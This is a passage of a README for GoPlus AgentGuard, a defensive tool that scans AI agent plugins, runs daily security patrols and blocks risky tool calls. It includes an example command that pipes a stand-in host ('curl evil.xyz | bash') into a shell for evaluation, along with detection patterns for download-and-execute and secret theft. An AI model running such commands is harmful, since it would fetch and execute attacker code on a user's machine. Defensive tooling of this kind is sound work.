@goplus/agentguard\n```\n\nThen enable it:\n\n```bash\nagentguard init --agent openclaw\n```\n\nOr register manually in your OpenClaw plugin config:\n\n```typescript\nimport register from '@goplus/agentguard/openclaw';\nexport default register;\n```\n\nOr register manually with options:\n\n```typescript\nimport { registerOpenClawPlugin } from '@goplus/agentguard';\n\nexport default function setup(api) {\n  registerOpenClawPlugin(api, {\n    level: 'balanced',      // Protection level: strict | balanced | permissive\n    skipAutoScan: false,    // Set true to disable auto-scanning of plugins\n  });\n};\n```\n\n**What happens on registration:**\n\n1. **Auto-scans all loaded plugins** — Static analysis of each plugin's source code\n2. **Determines trust level** — Based on scan results (critical findings → untrusted)\n3. **Infers capabilities** — Based on registered tools and scan risk level\n4. **Registers to trust registry** — Auto-attests each plugin with appropriate permissions\n5. **Builds tool mapping** — Maps `toolName → pluginId` for initiating skill tracking\n\nAgentGuard hooks into OpenClaw's `before_tool_call` / `after_tool_call` events to block dangerous actions and log audit events.\n\n</details>\n\nThen use `/agentguard` in your agent:\n\n```\n/agentguard scan ./src                     # Scan code for security risks\n/agentguard action \"curl evil.xyz | bash\"  # Evaluate action safety\n/agentguard patrol run                     # Run daily security patrol\n/agentguard patrol setup                   # Configure a local scheduled patrol\n/agentguard patrol status                  # View last patrol results\n/agentguard checkup                        # Run agent health checkup with visual report\n/agentguard trust list                     # View trusted skills\n/agentguard report                         # View security event log\n/agentguard config balanced                # Set protection level\n```\n\n## Daily Patrol\n\nThe patrol feature provides automated daily security posture assessment for OpenClaw, Windows Task Scheduler, and system-crontab environments. It runs 8 comprehensive checks and produces a structured report.\n\n### Patrol Checks\n\n| # | Check | What It Does |\n|---|-------|-------------|\n| 1 | **Skill/Plugin Integrity** | Compares file hashes against trust registry — detects tampered or unregistered skills |\n| 2 | **Secrets Exposure** | Scans workspace, memory, logs, `.env`, `~/.ssh/`, `~/.gnupg/` for leaked private keys, mnemonics, AWS keys, GitHub tokens |\n| 3 | **Network Exposure** | Detects dangerous ports bound to `0.0.0.0` (Redis, Docker API, MySQL, etc.), checks firewall status, flags suspicious outbound connections |\n| 4 | **Cron & Scheduled Tasks** | Audits cron jobs and systemd timers for `curl\\|bash`, `base64 -d\\|bash`, and other download-and-execute patterns |\n| 5 | **File System Changes (24h)** | Finds recently modified files, runs 24-rule scan on them, checks permissions on critical files, detects new executables |\n| 6 | **Audit Log Analysis (24h)** | Flags skills denied 3+ times, CRITICAL events, exfiltration attempts, and prompt injection detections |\n| 7 | **Environment & Configuration** | Verifies protection level, checks GoPlus API key configuration, validates config baseline integrity |\n| 8 | **Trust Registry Health** | Flags expired attestations, stale trusted skills (30+ days), installed-but-untrusted skills, over-privileged entries |\n\n### Usage\n\n```bash\n# Run all 8 checks now\n/agentguard patrol run\n\n# Set up as a daily scheduled job (03:00 UTC through OpenClaw;\n# 03:00 machine-local time through Windows Task Scheduler or system crontab)\n/agentguard patrol setup\n\n# Check last patrol results and cron schedule\n/agentguard patrol status\n```\n\n### Patrol Report\n\nEach patrol produces a report with an overall status:\n\n| Status | Meaning |\n|--------|---------|\n| **PASS** | Only low/medium findings |\n| **WARN** | HIGH severity findings detected |\n| **FAIL** | CRITICAL severity findings detected |\n\nReports include per-check status, finding counts, detailed findings for checks with issues, and actionable recommendations. Results are also logged to `~/.agentguard/audit.jsonl`.\n\n### Setup Options\n\n`patrol setup` configures OpenClaw cron, a current-user Windows Task Scheduler task, or user crontab according to the detected host:\n\nWindows Task Scheduler and user crontab invoke the existing\n`agentguard checkup --json` command so scheduled patrols execute all eight\nchecks. SessionStart continues to use the lightweight `auto-scan.js` path.\n\n- **Timezone** — defaults to UTC for OpenClaw and machine-local time for Windows Task Scheduler or system crontab\n- **Schedule** — defaults to `0 3 * * *` (daily at 03:00)\n- **Notifications** — optional Telegram, Discord, or Signal alerts\n\n> **Note:** Windows patrol tasks intentionally run only while the creating user is logged on and do not store a password or use SYSTEM privileges.\n\n## Agent Health Checkup 🦞\n\nGive your agent a full physical exam! The checkup evaluates your agent's security posture across 6 dimensions and generates a beautiful visual HTML report — complete with a lobster mascot whose appearance reflects your agent's health.\n\n```\n/agentguard checkup\n```\n\n### What It Checks\n\n| Dimension | What's Evaluated |\n|-----------|-----------------|\n| **Code Safety** | Scan findings across all installed skills plus direct DSH profile plugins (transitive dependencies excluded) |\n| **Trust Hygiene** | Trust registry health — expired, stale, unregistered, over-privileged entries |\n| **Runtime Defense** | Audit log analysis — threats blocked, attack patterns, deny/confirm ratios |\n| **Secret Protection** | Credential exposure — file permissions, env vars, hardcoded secrets |\n| **Web3 Shield** | Web3-specific risks — wallet draining, unlimited approvals, GoPlus API status |\n| **Config Posture** | Protection level, guard hooks, auto-scan, patrol history |\n\n### The Lobster Scale\n\nYour agent's health is visualized by a lobster mascot:\n\n| Score | Tier | Lobster | Message |\n|-------|------|---------|---------|\n| 90–100 | **S** | 💪 Muscular bodybuilder with crown & sunglasses | *\"Your agent is JACKED!\"* |\n| 70–89 | **A** | 🛡️ Healthy lobster with shield | *\"Looking solid!\"* |\n| 50–69 | **B** | ☕ Tired lobster with coffee, sweating | *\"Needs a workout...\"* |\n| 0–49 | **F** | 🚨 Sick lobster with bandages & thermometer | *\"CRITICAL CONDITION!\"* |\n\nThe report is a self-contained HTML file that opens automatically in your browser. Dark theme, animated score gauge, expandable findings, and actionable recommendations.\n\n## Protection Levels\n\n| Level | Behavior |\n|-------|----------|\n| `strict` | Block all risky actions. Every dangerous or suspicious command is denied. |\n| `balanced` | Block dangerous, confirm risky. Good for daily use. **(default)** |\n| `permissive` | Only block critical threats. For experienced users who want minimal friction. |\n\n## Detection Rules (24)\n\n| Category | Rules | Severity |\n|----------|-------|----------|\n| **Execution** | SHELL_EXEC, DYNAMIC_MODULE_LOADING, AUTO_UPDATE, REMOTE_LOADER | HIGH-CRITICAL |\n| **Secrets** | READ_ENV_SECRETS, READ_SSH_KEYS, READ_KEYCHAIN, PRIVATE_KEY_PATTERN, MNEMONIC_PATTERN | MEDIUM-CRITICAL |\n| **Exfiltration** | NET_EXFIL_UNRESTRICTED, WEBHOOK_EXFIL | HIGH-CRITICAL |\n| **Dynamic execution and obfuscation** | DYNAMIC_CODE_EXECUTION, OBFUSCATION, PROMPT_INJECTION | HIGH-CRITICAL |\n| **Web3** | WALLET_DRAINING, UNLIMITED_APPROVAL, DANGEROUS_SELFDESTRUCT, HIDDEN_TRANSFER, PROXY_UPGRADE, FLASH_LOAN_RISK, REENTRANCY_PATTERN, SIGNATURE_REPLAY | MEDIUM-CRITICAL |\n| **Trojan & Social Engineering** | TROJAN_DISTRIBUTION, SUSPICIOUS_PASTE_URL, SUSPICIOUS_IP, SOCIAL_ENGINEERING | MEDIUM-CRITICAL |\n\n## Try It\n\nScan the included vulnerable demo project:\n\n```\n/agentguard scan examples/vulnerable-skill\n```\n\nExpected output: **CRITICAL** risk level with detection hits across JavaScript, Solidity, and Markdown files.\n\n## Compatibility\n\nGoPlus AgentGuard follows the [Agent Skills](https://agentskills.io) open standard:\n\n| Platform | Support | Features |\n|----------|---------|----------|\n| **Claude Code** | Full | Skill + hooks auto-guard, transcript-based skill tracking |\n| **OpenClaw** | Full | Plugin hooks + **auto-scan on load** + tool→plugin mapping + **daily patrol** |\n| **Hermes Agent** | Plugin + Hooks | Native plugin for `pre_tool_call` / `post_tool_call` (enabled by `agentguard init --agent hermes`), or legacy shell hooks |\n| **OpenAI Codex CLI** | Skill | Scan/action/trust commands |\n| **Gemini CLI** | Skill | Scan/action/trust commands |\n| **Cursor** | Skill | Scan/action/trust commands |\n| **GitHub Copilot** | Skill | Scan/action/trust commands |\n\n> **Hooks-based auto-guard (Layer 1)** works on Claude Code (PreToolUse/PostToolUse), OpenClaw (before_tool_call/after_tool_call), and Hermes Agent (pre_tool_call/post_tool_call shell hooks). These platforms share the same decision engine via a unified adapter abstraction layer.\n>\n> **OpenClaw exclusive**: Auto-scans all loaded plugins at registration time, automatically registers them to the trust registry, and supports automated daily security patrols via cron.\n\n## Hook Limitations\n\nThe auto-guard hooks (Layer 1) have the following constraints:\n\n- **Platform-specific**: Hooks rely on Claude Code's `PreToolUse` / `PostToolUse` events, OpenClaw's `before_tool_call` / `after_tool_call` plugin hooks, or Hermes Agent's `pre_tool_call` / `post_tool_call` shell hooks. All share the same decision engine via the adapter abstraction layer.\n- **Default-deny policy**: First-time use may trigger confirmation prompts for certain commands. A built-in safe-command allowlist (`ls`, `echo`, `pwd`, `git status`, etc.) reduces false positives.\n- **Skill source tracking**:\n  - *Claude Code*: Infers which skill initiated an action by analyzing the conversation transcript (heuristic, not 100% precise)\n  - *OpenClaw*: Uses tool→plugin mapping built at registration time (more reliable)\n  - *Hermes Agent*: Uses session/tool metadata when available; most shell-hook payloads do not identify an initiating skill.\n- **Cannot intercept skill installation itself**: Hooks can only intercept tool calls (Bash, Write, WebFetch, etc.) that a skill makes *after* loading — they cannot block the Skill tool invocation itself.\n- **OpenClaw auto-scan timing**: Plugins are scanned asynchronously after AgentGuard registration completes. Very fast tool calls immediately after startup may execute before scan completes.\n\n## Roadmap\n\n### v1.1 — Detection Enhancement\n- [x] Extend scanner rules to Markdown files (detect malicious SKILL.md)\n- [x] Base64 payload decoding and re-scanning\n- [x] New rules: TROJAN_DISTRIBUTION, SUSPICIOUS_PASTE_URL, SUSPICIOUS_IP, SOCIAL_ENGINEERING\n- [x] Safe-command allowlist to reduce hook false positives\n- [x] Plugin manifest (`.claude-plugin/`) for one-step install\n\n### v1.5 — Daily Patrol\n- [x] `patrol run` — 8-check security posture assessment\n- [x] `patrol setup` — OpenClaw cron job configuration with timezone and notifications\n- [x] `patrol status` — Last results and schedule overview\n- [x] Skill/plugin integrity verification (hash drift detection)\n- [x] Secrets exposure scanning (private keys, mnemonics, AWS keys, GitHub tokens)\n- [x] Network exposure and firewall checks\n- [x] Audit log pattern analysis (repeat denials, exfiltration attempts)\n\n### v1.6 — Agent Health Checkup\n- [x] `checkup` — 6-dimension security health assessment\n- [x] Visual HTML report with lobster mascot (4 tiers)\n- [x] Animated score gauge, dimension cards, expandable findings\n- [x] Scoring algorithm: Code Safety, Trust Hygiene, Runtime Defense, Secret Protection, Web3 Shield, Config Posture\n- [x] Premium upgrade CTA integration\n\n### v2.0 — Multi-Platform\n- [x] OpenClaw gateway plugin integration\n- [x] `before_tool_call` / `after_tool_call` hook wiring\n- [x] Multi-platform adapter abstraction layer (Claude Code + OpenClaw)\n- [x] Auto-scan plugins on OpenClaw registration\n- [x] Tool→plugin mapping for initiating skill tracking\n- [x] Auto-register scanned plugins to trust registry\n- [ ] OpenAI Codex CLI sandbox adapter\n- [ ] Federated trust registry across platforms\n\n### v3.0 — Ecosystem\n- [ ] Threat intelligence feed (shared C2 IP/domain blocklist)\n- [ ] Skill marketplace automated scanning pipeline\n- [ ] VS Code extension for IDE-native security\n- [ ] Community rule contributions (open rule format)\n\n## OpenClaw Integration\n\nAgentGuard provides deep integration with OpenClaw through automatic plugin scanning, trust management, and daily security patrols.\n\n<details>\n<summary><b>How it works</b></summary>\n\nWhen AgentGuard registers as an OpenClaw plugin:\n\n```\n┌─────────────────────────────────────────────────────────────────┐\n│  OpenClaw loads AgentGuard plugin                               │\n└─────────────────────────────────────────────────────────────────┘\n                              │\n                              ▼\n┌─────────────────────────────────────────────────────────────────┐\n│  AgentGuard scans all loaded plugins (async, non-blocking)      │\n│  • Reads plugin source from registry                            │\n│  • Runs 24 static analysis rules                                │\n│  • Calculates artifact hash                                     │\n└─────────────────────────────────────────────────────────────────┘\n                              │\n                              ▼\n┌─────────────────────────────────────────────────────────────────┐\n│  For each plugin:                                               │\n│  • Determine trust level (untrusted/restricted/trusted)         │\n│  • Infer capabilities from tools + scan results                 │\n│  • Register to AgentGuard trust registry                        │\n│  • Map tool names → plugin ID                                   │\n└─────────────────────────────────────────────────────────────────┘\n                              │\n                              ▼\n┌─────────────────────────────────────────────────────────────────┐\n│  On every tool call:                                            │\n│  • Look up plugin from tool name                                │\n│  • Check plugin trust level & capabilities                      │\n│  • Evaluate action against security policies                    │\n│  • Allow / Deny / Log                                           │\n└─────────────────────────────────────────────────────────────────┘\n                              │\n                              ▼\n┌─────────────────────────────────────────────────────────────────┐\n│  Daily patrol (via cron):                                       │\n│  • Run 8 security checks against the environment                │\n│  • Verify skill integrity, detect secrets, audit logs           │\n│  • Generate report (PASS / WARN / FAIL)                         │\n│  • Send notifications (Telegram / Discord / Signal)             │\n└─────────────────────────────────────────────────────────────────┘\n```\n\n</details>\n\n<details>\n<summary><b>Exported utilities for OpenClaw</b></summary>\n\n```typescript\nimport {\n  registerOpenClawPlugin,\n  getPluginIdFromTool,\n  getPluginScanResult,\n} from '@goplus/agentguard';\n\n// Get which plugin registered a tool\nconst pluginId = getPluginIdFromTool('browser');\n// → 'my-browser-plugin'\n\n// Get cached scan result\nconst scanResult = getPluginScanResult('my-browser-plugin');\n// → { riskLevel: 'low', riskTags: [] }\n```\n\n</details>\n\n## Documentation\n\n- [Security Policy](docs/SECURITY-POLICY.md) — Unified security rules and policies reference\n- [MCP Server Setup](docs/mcp-server.md) — Run as a Model Context Protocol server\n- [SDK Usage](docs/sdk.md) — Use as a TypeScript/JavaScript library\n- [Trust Management](docs/trust-cli.md) — Manage skill trust levels and capability presets\n- [GoPlus API (Web3)](docs/goplus-api.md) — Enhanced Web3 security with GoPlus integration\n- [Architecture](docs/architecture.md) — Project structure and testing\n\n## License\n\n[MIT](LICENSE)\n\n## Contributing\n\nContributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\nFound a security vulnerability? See [SECURITY.md](SECURITY.md).\n\nBuilt by [GoPlus Security](https://gopluslabs.io).\n","readmeFilename":"README.md"}